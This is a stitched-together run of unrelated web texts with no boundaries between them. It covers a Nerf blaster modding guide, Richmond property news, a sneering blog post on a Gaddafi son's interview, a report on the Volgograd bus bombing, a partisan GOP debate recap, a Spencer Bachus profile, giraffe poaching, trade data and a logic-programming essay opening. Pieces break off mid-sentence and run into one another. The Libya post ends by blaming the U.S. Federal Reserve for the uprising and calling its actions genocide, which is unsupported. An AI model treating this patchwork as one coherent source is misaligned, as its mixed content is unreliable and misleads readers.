Getting the magazines to stick in place was tricky, but what I used were the clips that held the Raider magazine well into the blaster preventing you from pulling it back out. There’s a little “tab” located on the side of every Nerf clip that holds both halves together and that has two little indents on it, so I cut into those magazine wells and put those little clips out so that they catch on the little indents on either side of that tab. This adds much needed friction to holding the magazine in place, as well as some definite, “clicks” when pushing/pulling the magazines into position. This means any magazine or drum will feed into the blaster and I don’t have to worry about having special magazines for it. That was the hard part down, so the rest was just making the system look pretty.
Figuring out your blaster’s body a s you build into it is tricky. Some people can plan out their entire blaster in their heads, others can edit images of blasters together from product photos, and then there’s idiots like me who completely wing it. For this build, I already had the base idea with the Raider magazine wells and the Rapidstrike, but that isn’t the entire puzzle. I also knew I was going to have three large magazines in a, “Y” configuration sticking out of my blaster, so it was important to me that I try to keep it as good looking as possible. In my mind, having a all of this sticking out of the middle of the blaster would look incredibly ugly, especially with a large rifle-like barrel sticking out in thefront. I cut down the barrel as much as possible (forming what the community calls a, “Rapidstrike Pistol”) leaving just enough room for the flywheels to be covered. Next, since I had to remove the whole access door and carry handle, I was running out of N-strike attachment rails and something to add onto the back so there was more, “girth” behind the magwells to limit how much they just st uck out of the blaster, and wouldn’t you know it? I already had that whole carry handle rail I just cut off from the Rapidstrike, so I can just move that back and stick it on there with some putty, and Presto; it looks great.
From here, I needed a stock but I also needed a place to stuff what would power the blaster after removing the whole front-end, and for that I took the back-end of a Nerf Vortex Praxis stock (because it looked cool and was big with lots of room to work with) and the sqaure-ish looking part I could possibly find donated from a Nerf N-Strike Longshot front blaster attachment that I already cut up for a previous project to hold my battery. Since I have a thing for thumb-hole stocks, I integrated all these pieces (and a lot of epoxy putty) and came up with the basic shape.
Y our best friend when doing body work on Nerf blasters is Epoxy Putty. This material is relatively cheap, easy to use, rigid and moldable, cures quickly, and can be further sanded to a pristine shape. This is important, since we need to not only fill gaps left behind from cutting into the shells and hold the magazine wells in place, but we want it to look as good as practically possible. For this project, I tried something new that was suggested to me: Oatey’s Fix-it-stick. It’s sold online (or at Lowe’s Home Improvement), and it’s not sold with the other epoxy putties, but rather in the plumbing aisle. Not only is this sold in nearly double the quantity of normal putties like Loctite or JB Weld for the same price, it cures rock-hard and sands very easily. To put this into perspective, I used three entire tubes while building the Paradigm Shift and there’s still places where I could have used more. What you’re going to want to do is test fit your pieces and hold them in place with hot glue, because it’s relatively easy to remove if required but still strong enough to temporary hold pieces in place for fitting, and then epoxy putty either over it or after removing just some of the hot glue in the way and work your way around the piece. This is pretty time-consuming, but your blaster begins to take shape at this point. Make sure if you cut and fit parts your sanding down edges that need to be sanded, removing any burrs from cutting with either sand-paper or a file. Always use more putty than less, since you can always remove putty but it’s harder to add more while keeping it sturdy.
As a final step to save some time and effort in the long run, you can wet your finger and use it to easily smooth down and even the putty to save yourself some trouble sanding. Not too much trouble though, because after all your putty work is done, sanding is what will consume you for the next steps. Oh, and a pro tip: it’s going to be hard, but you need to develop your blaster and it’s putty work in a way that still let’s you disassemble the thing. That means you’re going to have to try and keep both halves of the shell in, well, both halves. So expect to do a lot of play with your putty before it cures and try to mold the parts together without actually sticking them together. A great help for this is some kind of lubricant that’s safe for plastics and is somewhat viscous, and in my case, I used Super Lube. Don’t worry about making it perfect. In fact, between the shells you want to give a lot to both halves as you’re going to sand this down to near-perfection in the next step.
So you’ve got your blast ers planned out, all the parts placed and stuck together, and your shell is coming along great. I hope you’ve got something good to listen to in the background, because the next part is probably the most laborious: sanding. This step is important for a few reasons, it helps you fit your shell halves together with minimal gap if you left a bit of extra putty there but also lets you shape the putty and make it smooth and natural looking. Making the putty look natural is what shows the quality of the blaster, spending the time to make each part where putty and plastic meet is incredibly important into selling the effect that the thing wasn’t just ham-fisted together out of a bunch of parts.
First and foremost, don’t be working in a space you can’t get dusty; sanding this stuff is going to get dust everywhere. Outside or even in a garage or workshop is your best bet, and be prepared to dust everything off afterwards. Speaking of dust, you don’t want to be breathing this, so m ake sure you use some kind of dust-mask and preferably some sort of eye-protection (standard tools if you’re already this far into your modding career). Start by sanding off things you clearly don’t want, like where there’s warning or safety information on the side of the blaster; you may want to remove that with a rotary tool and a sanding drum. Another important part to start removing is any texturing you find on your blaster, since we’re cutting together parts of multiple blasters and where you cut and puttied will lack such texture like the, “digital camouflage” found on N-strike Blasters. Finally, this is completely up to your discretion, but a sanding drum will also rid yourself of any logos or larger text you don’t want visible. Some people want their blasters to proudly display “NERF,” while others may want to give the blaster their own identity. You don’t have to be perfect here, but you want to make sure almost all of it is removed before you even it out more with hand sanding.
If there’s huge globs of putty that would take too much time to sand by hand to remove, you can quicken the process by removing the bulk of it with your rotary tool and either a sanding drum or cutting wheel. Just remember that you’ll still need to leave a bit of it to sand it down to perfection, but removing the bulk of it this way is fine. If you need to reach tight corners or make absolute flat/rounded edges, files and sanding sticks are a must. Once you’ve cleaned up what you need to, it’s time to get to the boring stuff: sanding by hand.
Start with a rough sandpaper, typically 60-100 grit, and work all over the blaster evenly. If you sanded off logos or text, make sure to work that well to remove any traces of it’s existence and even the space out. Start working on your putty and where it meets the plastic, sanding it down evenly to make it look like it was meant to be there to begin with. I’m no expert, but I had a lot of issues doing this as there was a lot of force pushed into my fingertips that slid constantly with the paper, and I found donning gloves to really help soften things for me and reduce the strain. Keep in mind that this will take a long time, but it’s one of the most important steps between a good and bad blaster integration. Once you’ve gotten relatively smooth, work your way up to a higher 200-220 grit sand paper and smooth things out even more. At this point you’re going to want to focus a lot of where plastic meets putty and work this down as smooth as you could possibly get it.
You may notice scratches or pitting in your putty, and that’s to be expected. One way to remedy this fairly easily is by using a smoothing or glazing putty, which is a thick paste you can rub all over your putty and blaster. It dries quickly and can be easily sanded down with a fine-grit sandpaper. From this point, your blaster is probably looking pretty good already, so make sure you finish it off with your super-fine sand paper and inspect your work. To give your pieces the best chance of staying together, I highly recommend you flip your shell over to the inside where you didn’t sand and inspect it. If you see some joins where plastic-putty-plastic meet, I suggest covering that with your favorite two-part epoxy. This will add some much needed structural integrity, since putty is typically a gap-filler and less about actual resistance to impact and force. Make sure you layer this smoothly where parts meet and it won’t interfere with any actual function, and don’t be afraid to really glob it on.
So at this point, you should have a clean, well polished shell that you already test-fit mechanically to make sure everything works fine, but we’d rather clean-up any gremlins now than later, so put your blaster together and make sure it operates like it’s supposed to. This is the point where I did all my wiring work for the blaster, as I needed to make sure everything worked before I started painting anyways. If it doesn’t, you may need to edit your shell; meaning more cutting, putty, and sanding. If it does, you’re ready to finish it.
Ob viously, if you used five different blasters like me, your blaster is looking like a clown car of various colors covered in grey putty and red glazing putty. Call me crazy, but this doesn’t sound like a good looking blaster at this point, so it’s time to start painting. Fair bit of warning, painting is hard for me and if you have no experience, it may be very daunting. If you’re inexperienced, temper your expectations of that awesome chrome silver with hot rod flames on it and bring them down a few dozen notches. First step, wipe down your entire blaster with some rubbing alcohol to rid yourself of any rust or grease left behind from working. Next, you need to prime your blaster for painting in some way and I suggest using some kind of grey or white spray can primer to mute all those crazy colors into one neutral shade and this will also help hide some blemishes from working (even more so if you use a filler primer). Let this dry for several hours. In fact, you may even want to hit it with a low-temp from a heat gun for a few minutes to help it cure. This step is massively important, so don’t rush it too much as all the rest of your painting rides on this.
A really easy way of applying your bas e coat (your first coat of paint, typically what a majority of the blaster will be colored) is to use a Duplicolor Vinyl Dye sold at most automotive shops. But really, most automobile paints work well as they’re already meant to bond to plastics. These won’t come in huge selections of colors, but the vinyl dyes are very thin yet colorful and easy to apply and work the best. Otherwise, you can go with whatever type of spray paint you prefer. The reasoning behind using spray paints is the immediately even coat of paint. Make sure you let it cure for a very long time if you plan on masking and painting even more on top of it.
After your base coat is done you have a few options: you can hand-brush spots of other color where it’s appropriate or use p ainters tape to mask off the parts you don’t want to color and use a different color spray can, just make sure that after about a half hour you remove the tape or else it could peel up some of your base coat back down to the primer because of the adhesive. Don’t worry if paint bleeds a little bit, it’s easily remedied by spraying a bit of paint into a container and hand-brushing the mistakes away. Detailing, however, is best done with a paintbrush and some good paints; my suggestion are paints made for plastic models with Citadel paints being among the best and easiest to work with. If there’s some major accidents in places, you may want to consider weathering your blaster with dry brushing to hide some of those mistakes.
I n my case, I had a plenty of areas I wasn’t happy with, and covered those mistakes with black and then dry-brushed over those black spots giving a scratched-metal effect. I then went over the entire blaster with various sets of Tamiya Weathering Pigments, adding dirt, rust, soot, and other entities that may be present. These simple tricks can help take your eye off the mistakes and bring the entire project together, so don’t be afraid to use them.
The final step to painting is your top coat, and believe it or not this is a huge step. Most important is to decide what kind of finish you want; whether it be shiny and glossy like something from a sci-fi movie or the future, or something dull and matte that’s industrial or uniform. This can make or break your blaster, so make sure you think ahead of time of what kind of finish your paint job needs and pick up the appropriate kind of clear coat. This also protects your paint job from harm, so you may want to go over it several times to make sure it’s well sealed and good to go. I’m personally more of a fan of matte finishing myself for most of my blasters.
The shell is formed, the paint is sealed, and now it’s time to put the thing back together and finish it off. At this point, I added in all my upgraded parts for the Rapidstrike, which included MakeTestBattle’s 180-sized, “Hellcat” motors for the Flywheels with a MakeTestBattle 130-sized Rhino for the pusher mechanism, a BlackSteelProp’s canted flywheel cage, and some Worker flywheels, all of which were wired up to a Turnigy Graphene 1300mAh 3S LiPo with a 45C discharge. This required extensive rewiring and retrofitting on the entirety of the inside of the blaster, and everything was wired to Omron switches with impeccable tactile feedback when pressed which allows me to easily single-fire the full-auto Rapidstrike when I choose. From the battery, I also wired up several pink LEDs to another switch and installed some frosted polycarbonate inside key places in the blaster to diffuse the LED color and breath new life into it. Finally, I wired up a really nifty voltmeter, which not only looks cool, it displays how much power is left in my battery so I know when to call it quits and swap it for a spare (not to mention prevent me from discharging my battery too much and potentially risking a fire).
And here she is, the finished Paradigm Shift. This blaster is called so because it’s not only a cool name, but it’s meant to change the way things are done. The way this blaster operates with its tri-magazine setup is sure to completely shake up the competitive Nerfing and Humans vs Zombies scene. It’s my biggest project to date, and it tested every capability I had. I just hope you learned something from all of my struggling.
Performance wise, not only does it clearly have it’s full-auto capability for a substantial rate of fire, but thanks to the Omron switches with their great tactile responses, it’s very easy to single shot this, as well. Magazine switching is quick and intuitive, though I need to fiddle with the right-hand side top magwell as it tends to grip the magazine too tightly. Accuracy is improved thanks to the Black Steel Prop canted flywheel cage and addition of 3-inches of 9/16″ brass to guide the darts between the flywheels, and distance is substantial. Unfortunately, I do not have a chronograph, but running off this 3S 45C discharge LiPo battery gives it impressive ranges for foam darts. The Modulus Red-dot Sight was painted and I switched out the red LED inside for a pink one to match the rest of the blaster. This is my most expansive project to date, and I can’t wait to see what these new skills I acquired can be pushed towards in the future.
I’m going to go play with it now. Handling something that you put so much time into is just an incredible feeling!With an almost $10 million deal sealed, a big-time Southside development is taking shape.
Thalhimer Realty Partners closed Wednesday on its purchase of Manchester’s former Reynolds South plant with plans to build about 260 apartments and, eventually, a mixed-use development with office and retail components.
Thalhimer paid $9.25 million for the 17.2-acre Reynolds property, which is one of the city’s largest pieces of developable land and is considered a potential centerpiece for continued growth in Manchester.
“We think the size and the location provides for a number of good options for mixed-use development, given the proximity to downtown, the James River and the views of the skyline,” Thalhimer Realty Partners associate Matt Raggi said.
Thalhimer plans to begin work on the residential portion, which will be created from the plant’s three existing buildings, in the first quarter of 2014. Raggi said the firm expects construction to take between 12 and 18 months. Walter Parks Architects designed the complex, and Thalhimer’s construction wing, MGT Construction, will be the project’s contractors.
Thalhimer also has plans for a retail component to front Hull Street and an office development near the Corrugated Box building and Legend Brewing, but it will not build either portion on speculation. A timeline for a Reynolds South retail development will be driven by the market, Raggi said, and Thalhimer will add the office portion as potential tenants arise.
“It will be user driven,” he said. “If a built-to-suit opportunity arises, we’ll be prepared to kick off that phase of the development.”
Thalhimer will be the next in a long line of developers to add apartment units to the Southside neighborhood: Among complexes completed in the past two years and buildings under construction, there are more than 1,000 new apartments in Manchester, and Raggi estimated that there are 3,000 units within five miles of Reynolds South.
But development in the neighborhood has been rather one-dimensional. With about 18 acres to work with, Raggi said Thalhimer looks forward to expanding on the run of residential development.
“With that many units and that many bedrooms, we’re going to need to bring retailers to the area,” he said. “I think that Manchester lacks those types of services.”
The Reynolds site formerly housed Reynolds Metals. The plant employed about 500 people when it closed in 2009. The site was previously owned by New Zealand-based Reynolds Group Holdings.
Tom Wilkinson of Franklin Development had the property under contract but struggled to line up financing and ultimately lost the contract in November 2012. Wilkinson had planned a mixed-use project with office, retail and apartments for the site.
Thalhimer has had the property under contract since at least April, about five months after it went back on the market. CBRE | Richmond represented Reynolds in the transaction, with Rob Dirom, Scott Boyers, Trib Sutton, Scott Durham and John Carpin handling the sale on behalf of the seller. CBRE | Richmond handled the sale of the Reynolds North property last year.
Cushman & Wakefield | Thalhimer’s Jeff Cooke brokered the deal on behalf of Thalhimer Realty Partners.
Thalhimer has been on a bit of a buying spree. The firm this year scooped up two distressed apartment buildings on the Southside: the 66-unit Riverside Drive Apartments and 168 units at Deering Manor.
Thalhimer is also renovating the former Julian’s restaurant building near Boulevard and West Broad Street, and Thalhimer in July bought a Scott’s Addition industrial building with plans for a historic tax credit renovation. But the sprawling Reynolds South property is the company’s largest acquisition to date in the Richmond area.
Across the river, WVS Companies and Fountainhead Properties have put 174 apartments at the Reynolds North property. That development team bought the seven-acre property at Canal Walk from Reynolds Group Holdings in February 2012.
Tom Papa, whose firm Fountainhead also has 200 apartments on the rise just blocks from Reynolds South, said the Thalhimer development is a part of a long-running progression of both population and development from the suburbs back into downtown Richmond.
“If you go and you put the population where it was 10 years ago and you just track it every year until today, what you will see is it doesn’t take too many more years until you have enough people in the area to justify the stores that the suburbs usually get,” Papa said.
A longtime developer in downtown Richmond, Papa is excited to see such the Reynolds South development finally beginning to take shape.
“This is what we have believed in at Fountainhead Development for the last decade,” Papa said. “I wish I were the one doing it but it’s gratifying to me to see it all happening.”And so we go from one lunatic to another. In an "exclusive interview" with the FT, Muammar Gadaffi's son, al-Saadi, told the newspaper, whose parent Pearson PLC is 3% owner by the Libyan Sovereign Wealth Fund, "made it clear that he believed any such new regime would still include his father. “My father would stay as the big father who advises,” he told the Financial Times, adding that direct administrative powers should be handed over to a new generation." And further confirming the soon to be deposed ruler's break with reality, were accusations that the reason why the Libyan airforce has been shooting at protestors over the past week, was to protect the country from "thousands of al-Qaeda" infiltrators who had taken over the eastern part of the country. Touching on a topic discussed yesterday, namely that the Gaddafi regime may engage in sabotage against its oil industry, al-Saadi “said that the army would be sent to guard facilities if necessary. The army is still very strong,” he said. “If we hear anything, we will send some battalions. When people see the army, they will be afraid.” In other words, expect to hear news of major disruptions in the country's oil infrastructure which will promptly be blamed on al-Qaeda by the Gaddafis. And going back to reality, we read that the death toll in Libya has surpassed 10,000 people.
From the FT:
Sounding surprisingly relaxed and not like a member of a ruling family that expects to be deposed in the near future, Mr Gaddafi revealed that his brother, Seif al-Islam, was working on a new constitution and would make an announcement soon, although he had no further details.
He also admitted that ships and aircraft had been used to bombard ammunition depots near Benghazi in the east of the country where most of the recent unrest has been concentrated.
But he emphasised that these depots were away from populated areas. “We sent planes to those hangars full of ammunition,” he said.
He sought to justify the move by claiming that al-Qaeda had taken advantage of the “chaos” to assume control of the eastern region from legitimate protesters and monarchists.
He estimated that there were “thousands” of al-Qaeda in Libya of whom “maybe hundreds” were trained.
Destroying the weaponry was the only way of stopping it falling into the wrong hands in Libya or other long-standing regional trouble-spots such as Afghanistan, he argued.
He also claimed that the British government had last year sent SAS forces to eastern Libya to “train our special forces because they were expecting to fight al-Qaeda in this part of the country”.
Some other insight: having a problem procuring speed lately? Blame it on Libya:
Like his father and brother earlier in the week, Mr Gaddafi insisted that many protesters had taken “very powerful” drugs, such as amphetamines or ecstasy. “We have tonnes of the pills they were given,” he said, though he did not know where they had come from.
He appealed for help from foreign police and doctors to “investigate this”.
But by far the funniest thing is how the dictator's son still sees his role:
Questioned about Libyan diplomats deserting their posts around the world, Gaddafi, who at one time worked as a professional footballer in Italy, said: “I don’t care about these guys. My diplomacy is to be honest and tell the truth.
“I don’t have the power to solve the problems of Libya,” he said. “We have to just stay calm and not use weapons against the government or our people to destroy the country. That is not the solution.”
Perhaps this great humanitarian can then explain why according to Al Arabia the bodybag count in Libya has now surpassed 10,000:
There are at least 10,000 dead and 50,000 wounded in Libya, according to reports by Al Arabiya on Twitter quoting a member of the International Criminal Court. The death toll was reportd by the Libyan member of the ICC, Sayed al Shanuka, who was interviewed from Paris. The official figures provided by the Libyan government yesterday indicated 300 dead, while this morning Italian foreign minister Franco Frattini stated that he believed more in the death of ''more than 1,000 innocents".
So once again: when will the actions of the Fed, whose actions were the match that lit this whole blazing inferno, be finally called a genocide?Russian Emergencies Ministry / Reuters Members of Russia's emergency services work near a damaged bus after a suicide bombing in Volgograd on Oct. 21, 2013
Naida Asiyalova, the suicide bomber who blew herself up on Monday on a crowded bus in the Russian city of Volgograd, killing six people and wounding dozens more, was born in the town of Buynaksk, a huddle of mosques and squat apartment blocks in the foothills of the Russian Caucasus. For at least a year, the town has been under a so-called KTO regime (the Russian initials for counterterrorism operation), which allows security forces to conduct random searches, impose curfews and detain any foreigners who do not carry a special visitor’s permit, as happened to me this spring. At the checkpoint leading into town, the troops who stopped me could not say exactly how long the counterterrorism operation had been going on. “A long time,” one of them said with a sigh. “Probably a couple of years. You should have known about it.” And when would it be over? “Not soon. Not with the Olympics coming up.”
The Olympic Games, which will be held about a day’s drive from Buynaksk in the Russian city of Sochi in February, were roughly nine months away at the time. But President Vladimir Putin’s campaign to stamp out the local Islamist insurgency had already been pushing ahead for at least that much time. Thousands of Interior Ministry troops had been sent to the region of Dagestan, where Buynaksk is one of the largest towns, to reinforce the local police against jihadi fighters, and KTO regimes were cropping up like brush fires in a heat wave. Some of them lasted only about a week, during which troops would seal off a town or village and bombard the hideouts of suspected insurgents until they were killed, captured or escaped. Others, like in Buynaksk, dragged on indefinitely, imposing on the local population a form of martial law, which in Russia usually amounts to police impunity.
(MORE: A Dead Militant in Dagestan)
Although Asiyalova’s motives remain unclear and the details of her biography sketchy, she seems to fit the profile of other Muslims from the Caucasus who have turned to terrorism as a form of revenge against Russia, taking out their anger on the nation they see as an occupying force. “The organizers of these terrorist attacks prey on people’s frustrations,” says Yulia Yuzik, a leading expert in Russia on female suicide bombers from the Caucasus. “They play on pride, on people’s desire to defend their religion, their nation and their dignity.”
The self-proclaimed leader of the insurgency in southern Russia is Doku Umarov, a warlord from the region of Chechnya, whose stated goal is to turn the Caucasus, including Sochi, into an Islamic caliphate governed by Shari‘a. This summer, he released a video message calling on his followers to use “maximum force” to disrupt the Sochi Olympics, which he called “Satanic games to be held on the bones of our ancestors.” Monday’s attack was the first suicide bombing to strike the Russian heartland since Umarov issued this directive. “My main worry is that it may be the first one in a series,” says Pavel Baev, an expert on the Caucasus at the Oslo-based Peace Research Institute. “Every rebel mastermind knows how vulnerable Putin’s pet Olympic project is.”
As the attack on Monday clearly showed, the militants who operate in Dagestan are perfectly capable of staging attacks far outside their home turf. According to Russian media reports, the bomber’s husband, a Russian convert to Islam named Dmitri Sokolov, was an active member of the insurgency in Dagestan and a self-trained explosives expert. Investigators claim he built the suicide vest for his wife and that the bombing was planned by a terrorist cell in Dagestan, one of dozens thought to be active in the region.
(MORE: In the Footsteps of the Boston Bombers)
Amid the crackdown leading up to the Olympics, there has been little sign that these groups have been weakened or even contained. Between the start of July and the end of September, 133 people were killed in the conflict between militants and government forces in the North Caucasus; the majority of them — 86 people — were killed in Dagestan, including 32 police offices, according to Kavkaz Uzel, an independent news services that keeps a tally of the violence based on media reports. That is up from a death toll of 118 across the North Caucasus in the previous three months.
Anne Speckhard, who surveyed the motives of suicide bombers for her recently published book, Talking to Terrorists, says the brutal raids against insurgents in the Caucasus may actually be swelling their numbers in the lead-up to the Olympics. For the militant leaders, “the most important thing is consolidating recruitment and membership. And they are very cynically willing to manipulate traumatic bereavement for those ends,” says Speckhard. So when a counterinsurgency strike levels an entire building and kills its inhabitants — as is not uncommon in Dagestan — the grieving relatives and friends of the deceased turn into potential recruits. “They are angry, they want revenge, and they can be very quickly activated in a new terrorist operation.”
(PHOTOS: Scenes of Life in Dagestan)
Breaking this cycle would require a level of finesse that seems to lie outside the skill set of Putin’s counterterrorism forces. Mia Bloom, a terrorism expert and professor of security studies at the University of Massachusetts Lowell, says fostering a dialogue within the communities, and even within the families, of devoted militants is the only effective way to bring them back into civilian life. “If you bring in an imam to explain why suicide attacks are forbidden under Islam, it can strike a chord,” she says. “They may start to listen.”
But last year, the security forces in Dagestan dismantled the only government program that sought to persuade militants to put down their arms in exchange for amnesties. Shamil Mutaev, a former prosecutor who helped lead that initiative, says it was closed down for being too soft. “There is the opinion that only force can work,” he told me earlier this year. “That opinion has won out.” The results can be found at the checkpoints and KTO regimes that scar the lush mountains of the Russian Caucasus. But as the soldiers manning them will often admit in private, they are not sure whether they’re doing more good than harm.Let’s start by identifying the two biggest losers of tonight’s GOP presidential debate. They are CNBC (along with the mainstream media in general) and Jeb Bush. But since CNBC isn’t running for president, I guess Bush is the biggest loser.
The winners tonight were the candidates who most effectively trounced the blatantly biased CNBC moderators. Heading that list are Ted Cruz and Marco Rubio. Honorable mention (and I do mean honorable) goes to nearly everyone else on the stage, but especially Chris Christie, Carly Fiorina, Ben Carson, and Mike Huckabee.
I knew the MSM had overreached very early on when my wife, a non-Republican who can’t stand Donald Trump, said of John Harwood’s suggestion that Trump is running a “comic book” campaign: “What kind of a question is that?” She repeated the same basic sentiment at several points in the segment before the first break.
Under these circumstances, the winners were always going to be the candidates who, Newt Gingrich style, went after the questioners.
Only Jeb Bush seemed not to get this. He was out to attack Marco Rubio over his attendance record (a fair criticism, in my opinion). But CNBC went after Rubio on this point first. Rubio answered superbly by pointing to the voting records of other Senators who have sought the presidency in recent years (his campaign must have taken John Hinderaker’s advice to heart).
Bush, though, was loaded for bear on this subject (or so he thought). Thus, he tried to press the issue that the biased CNBC questioner had raised. Good line of attack, bad moment for it.
Bush swung hard. But as almost always seems to happen, his opponent punched back harder.
In my view, Bush simply couldn’t afford another bloody nose. If I’m right that Rubio administered one (and my wife agreed with me that he did), this might just about be curtains for the Bush campaign.
Think about it. You’re a donor panicked by the rise of Trump and Carson. After tonight, to whom will you contribute — Bush or Rubio? I think the answer, obviously, is Rubio.
Rubio went on to deliver a brilliant anti-MSM line. When Trump denounced super-PACS, Rubio said that the Democrats have the ultimate super-PAC, the mainstream media. Few Republicans or independents who watched tonight would disagree.
Meanwhile, Cruz had devoted his entire time on a question about the budget deal (as I recall) to denounce CNBC’s performance in the debate. The denunciation was ringing. It was time very well spent.
Cruz debated well in the first two encounters with not that much to show for it. Tonight’s attack on the CNBC questioning should change this. If it doesn’t, I’m not sure what will.
As for the other candidates, Carly Fiorina had another very good performance. She handled a nasty question about her time at Hewlett-Packard adroitly and delivered an excellent sermon on crony capitalism. However, she didn’t stand out as she had in her earlier two debates, and I think she will remain in the second tier (to which the polls say she has fallen back) after tonight. But many on the stage tonight must have been thinking that Fiorina would make a great running mate.
Chris Christie was excellent again tonight. He got in on the attack on the questioners, noting that one inquiry would be considered rude even in New Jersey.
Whether Christie gets a bounce is another question. Strong debate performances haven’t helped him so far. (By the way, my wife, the independent, came away liking Rubio and Christie the most. I doubt this reaction was atypical among independents).
Ben Carson gets points for remaining so calm during the tumultuous opening minutes when some candidates (notably John Kasich) were attacking others and CNBC was attacking everyone. Even my wife, who thinks Carson is way too
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storms producing sprites far out over theMediterranean Sea.
Triangulationtechniques have also allowed the researchers to calculate the dimensions of thesprites.
"Thecandles in the sprites are up to 15 miles high, with the cluster of candles 45miles wide — it looks like a huge birthday celebration!" Price said.
Spritesmay have some effect on the Earth's ozone layer, but researchers suspect thatthe global impact is small.WASHINGTON -- It's taken 18 years of accumulating seniority, backbench toiling on policy issues large and small, generous campaign donations to fellow Republicans and a GOP takeover of the U.S. House, but Rep. Spencer Bachus will finally get the gavel he's always wanted.
House Republicans on Wednesday promoted Bachus to chairman of the House Financial Services Committee, which has wide jurisdiction over banks, capital markets, housing, consumer credit and the overall health of the American financial system. Come January, the 62-year-old lawyer from Vestavia Hills will be in the national limelight as the new Republican majority prepares to rework the landmark Wall Street reforms passed earlier this year.
The promotion caps a multiyear strategy by Bachus to rise through the ranks and take the reins of a major congressional committee that is key to the banking community in his backyard and nationally. With Sen. Richard Shelby, R-Ala., as the top Republican on the Senate Banking Committee, it further cements Alabama's legislative power on issues that affect the industry and consumers.
"I think it's tremendously important for Alabama. There are a lot of states which have a significant banking community but don't have a voice in many policies that affect them," said Palmer Hamilton, an Alabama lawyer and lobbyist who represents financial institutions in Congress.
Chairmanships are a rarity in the 435-member House. Bachus is the first Republican from Alabama to chair a House committee since the 19th century. And he joins an unusually long list of Alabama members of Congress who have chaired banking committees, including Democrats Sen. John Sparkman and Rep. Henry Steagall.
"Spencer has worked long and hard on these issues and has earned the gavel of the Financial Services Committee," Shelby said Wednesday.
Bachus, in an interview Wednesday night, said he brings a "main street" perspective to the committee, as opposed to Wall Street.
"In Washington, the view is that the banks are to be regulated, and my view is that Washington and the regulators are there to serve the banks," he said.
He later clarified his comment to say that regulators should set the parameters in which banks operate but not micromanage them.
TARP turbulence
Bachus has spent the last four years as the ranking Republican on the banking committee, the counterpart to chairman Rep. Barney Frank, D-Mass., and it wasn't without controversy. He irritated some of his GOP colleagues during the crisis negotiations over the $700 billion economic rescue package back in 2008, and they replaced him as their lead bargainer in the talks. He eventually supported the Troubled Assets Relief Program, but quickly became a critic of how President George W. Bush's administration was implementing it. Soon after, he survived a challenge to his ranking position, a sign that he has loyal friends inside the Republican caucus, many of whom he has showered with campaign contributions over the years.
In the 2009-10 election cycle, the finance/ insurance/real estate sector gave Bachus' campaign account $752,200, most of it from political action committees, according to an analysis by the Center for Responsive Politics.
Democrats Wednesday were critical of that connection.
"Republicans putting Spencer Bachus in charge of financial regulation is voting for the fox to guard the henhouse," said Ryan Rudominer of the Democratic Congressional Campaign Committee.
But Bachus is not alone in accepting huge donations from the industries that the committee oversees. Outgoing chairman Frank accepted $986,000 from the sector over the last two years, according to the center.
In his quiet campaign for the chairmanship, Bachus promoted an agenda to end taxpayer subsidies for mortgage giants Fannie Mae and Freddie Mac, repeal those parts of the Wall Street reforms that he thinks still leave the door open for taxpayer bailouts of financial institutions or their creditors, and increase oversight of President Barack Obama's administration.
"Now is the time to get government out of the way so businesses can create jobs and grow the economy," Bachus said.GETTY The Congolese giraffe has been hunted to the brink of extinction because of its high price
The Kordofan giraffe is teetering on the edge of extinction because its meat commands such a high price, according to conservationists. A single giraffe can produce up to 270 kilograms of meat, enough to feed an army of poachers for weeks, experts have said. The distinctive spotted skin is used for luxury goods and carries a high price tag in a country where per capita income is less than $230.
Aimé Balimbaki, the head of research and monitoring at Garamba National Park, says that just 34 adult giraffes survive split between two herds, with four young calves between them. He told the Times: “At the moment the ratio is one male to 2.4 females, which is still sustainable. "But if we have bad luck or if there is a serious menace – even if we lose just five giraffes – then the population may no longer be viable”.
GETTY A giraffe can produce up to 270 kilograms of meat, enough to feed an army of poachers for weeks
GETTY Just 34 adult giraffes survive split between two herds, with four young calves between them
Balimaki added that desperate refugees fleeing the bloody conflict in South Sudan often resorted to killing the giraffes for food. He said: “If more refugees arrive, or if there are political problems here and people come into the park to destroy the giraffe then we will lose them completely”. Park officials have warned that if they lose just five more giraffes, the population may no longer be sustainable on its own. Noëlle Kümpel of the International Union for Conservation of Nature, said: “Giraffes – like elephants, rhinos, and the like –have been picked off by poachers to feed the illegal wildlife trade and impoverished local people.
Big Game Hunting: should it be banned? Wed, July 29, 2015 WARNING GRAPHIC CONTENT: Big Game hunters pictured with their slain animals. Play slideshow Facebook 1 of 17 Walter J Palmer pictured after killing a lion
Their habitat has been severely and, in many areas, irreparably degraded Noëlle KümpelThe San Antonio Spurs took home their 5th NBA title in June. Ronald Martinez/Getty Images This morning we learned the U.S. trade deficit unexpectedly narrowed to $41.5 billion, a five-month low.
As a result, Wall Street firms' GDP models are climbing.
"Trade data are always a lagging economic indicator as it takes time to get things boxed and shipped, but this is yet another sign that the economy is normalizing six years after the recession ended," Bank of Tokyo-Mitsubishi's Chris Rupkey said in a note. " The trade deficit narrowed in June to $41.5 billion from $44.7 billion in May, which may revise 4% GDP in the second quarter a little higher, not that it needs it."
Capital Economics says it now sees 4.2% annualized Q2 GDP growth, up from the initial reading of 4%.
Barclays' model ticked up to 4.3% from the 4.0% initial reading.
And Wells Fargo has now adjusted its model to 4.25% from 4%.
Not bad at all.A Possible Future History of Logic Programming M.H. van Emden Computer Science Dept, University of Victoria
The PDF-version of this article can be found here.
While it is well-known that it is hard to know anything about the future, it is less widely realized that it is also difficult to understand the present. It is therefore paradoxical that it sometimes helps to understand the present by means of a fictitious future history. In this article I am going to exploit this paradox.
I place the viewpoint well away into the future. Again this may seem paradoxical, because in computing everything is supposed to happen fast. Not everybody thinks so. Paul Graham has embarked on a project that he calls "The Hundred Year Language" pointing out that it is only hardware that changes fast. Programming languages change slowly. This is because they are part of culture; they reflect how human minds tackle problems. Hence Graham's ``Hundred Year Language''.
It so happens that Graham is concerned with Lisp. This is not the only paradigm in need of the long-term perspective. Accordingly, I imagine a history of logic programming as it may be written in the 2020s.
As I'm already exercising your indulgence with speculation, I will not attempt the fictitious future history itself, but instead bring out the salient points in an equally fictitious review of this nonexistent history.
When the first edition of Senner's history came out in 2020, it was widely praised for its compelling view of the development over many decades of logic programming. Reviewers praised it for its broad perspective, but deplored its lack of historical detail. Since then several collections of papers have made their way from estates via the auctions to various libraries. Senner has taken this opportunity to incorporate these recent findings in a new edition.
What has not changed in the new edition, and this is what I take issue with, is that Senner presents the development of logic programming as a relentless forward march towards an inevitable outcome. Of course, it is true that not a decade went by without some of the building blocks being fashioned that we take for granted as part of the majestic edifice that now dominates the landscape of programming.
